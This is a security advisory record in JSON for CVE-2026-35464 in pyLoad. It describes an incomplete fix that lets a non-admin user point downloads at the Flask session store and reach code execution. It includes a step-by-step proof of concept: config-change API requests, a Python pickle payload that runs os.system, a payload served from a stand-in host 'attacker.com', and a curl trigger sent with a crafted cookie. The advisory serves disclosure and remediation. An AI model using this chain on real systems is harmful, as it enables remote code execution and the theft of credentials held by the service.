{"id":"CVE-2026-35464","aliases":["GHSA-4744-96p5-mp2j","PYSEC-2026-2989"],"url":"https://o3.security/vulnerability/CVE-2026-35464","summary":"pyLoad has an incomplete fix for CVE-2026-33509: unprotected storage_folder enables arbitrary file write to Flask session store and code execution","details":"## Summary\n\nThe fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an `ADMIN_ONLY_OPTIONS` set to block non-admin users from modifying security-critical config options. The `storage_folder` option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.\n\n## Required Privileges\n\nThe chain requires a single non-admin user with both `SETTINGS` (to change `storage_folder`) and `ADD` (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.\n\n## Root Cause\n\n`storage_folder` at `src/pyload/core/api/__init__.py:238-246` has a path check that blocks writing inside PKGDIR or userdir using `os.path.realpath`. However, Flask's filesystem session directory (`/tmp/pyLoad/flask/` in the standard Docker deployment) is outside both restricted paths.\n\npyload configures Flask with `SESSION_TYPE = \"filesystem\"` at `__init__.py:127`. The cachelib `FileSystemCache` stores session files as `md5(\"session:\" + session_id)` and deserializes them with `pickle.load()` on every request that carries the corresponding session cookie.\n\n## Proven RCE Chain\n\nTested against `lscr.io/linuxserver/pyload-ng:latest` Docker image.\n\n**Step 1** — Change download directory to Flask session store:\n\n    POST /api/set_config_value\n    {\"section\":\"core\",\"category\":\"general\",\"option\":\"storage_folder\",\"value\":\"/tmp/pyLoad/flask\"}\n\nThe path check resolves `/tmp/pyLoad/flask/` via `realpath`. It does not start with PKGDIR (`/lsiopy/.../pyload/`) or userdir (`/config/`). Check passes.\n\n**Step 2** — Compute the target session filename:\n\n    md5(\"session:ATTACKER_SESSION_ID\") = 92912f771df217fb6fbfded6705dd47c\n\nFlask-Session uses cachelib which stores files as `md5(key_prefix + session_id)`. The default key prefix is `session:`.\n\n**Step 3** — Host and download the malicious pickle payload:\n\n    import pickle, os, struct\n    class RCE:\n        def __reduce__(self):\n            return (os.system, (\"id > /tmp/pyload-rce-success\",))\n    session = {\"_permanent\": True, \"rce\": RCE()}\n    payload = struct.pack(\"I\", 0) + pickle.dumps(session, protocol=2)\n    # struct.pack(\"I\", 0) = cachelib timeout header (0 = never expires)\n\nServe as `http://attacker.com/92912f771df217fb6fbfded6705dd47c` and submit:\n\n    POST /api/add_package\n    {\"name\":\"x\",\"links\":[\"http://attacker.com/92912f771df217fb6fbfded6705dd47c\"],\"dest\":1}\n\nThe file is saved to `/tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c`.\n\n**Step 4** — Trigger deserialization (unauthenticated):\n\n    curl http://target:8000/ -b \"pyload_session_8000=ATTACKER_SESSION_ID\"\n\nThe session cookie name is `pyload_session_` + the configured port number (`__init__.py:128`).\n\nFlask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls `pickle.load()`. The RCE gadget executes.\n\n**Result**:\n\n    $ docker exec pyload-poc cat /tmp/pyload-rce-success\n    uid=1000(abc) gid=1000(users) groups=1000(users)\n\n## Impact\n\nA non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:\n\n- Execute arbitrary commands with the privileges of the pyload process\n- Read environment variables (API keys, credentials)\n- Access the filesystem (download history, user database)\n- Pivot to other network resources\n\n## Suggested Fix\n\nAdd `storage_folder` to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):\n\n    ADMIN_ONLY_OPTIONS = {\n        ...\n        (\"general\", \"storage_folder\"),  # ADDED: prevents session poisoning RCE\n        ...\n    }\n\nAlso correct the existing wrong option names:\n\n    (\"webui\", \"ssl_certfile\"),  # FIXED: was \"ssl_cert\" (dead code)\n    (\"webui\", \"ssl_keyfile\"),   # FIXED: was \"ssl_key\" (dead code)","published":"2026-04-07T14:38:02.480Z","modified":"2026-08-12T03:51:21.013418126Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"pyload-ng","fixedVersion":null}],"fix":{"url":"https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1","label":"pyload/pyload@c4cf995"},"references":[{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-33509"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35464.json"},{"type":"ADVISORY","url":"https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j"},{"type":"ADVISORY","url":"https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35464"},{"type":"FIX","url":"https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33509"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:21.013418126Z"}}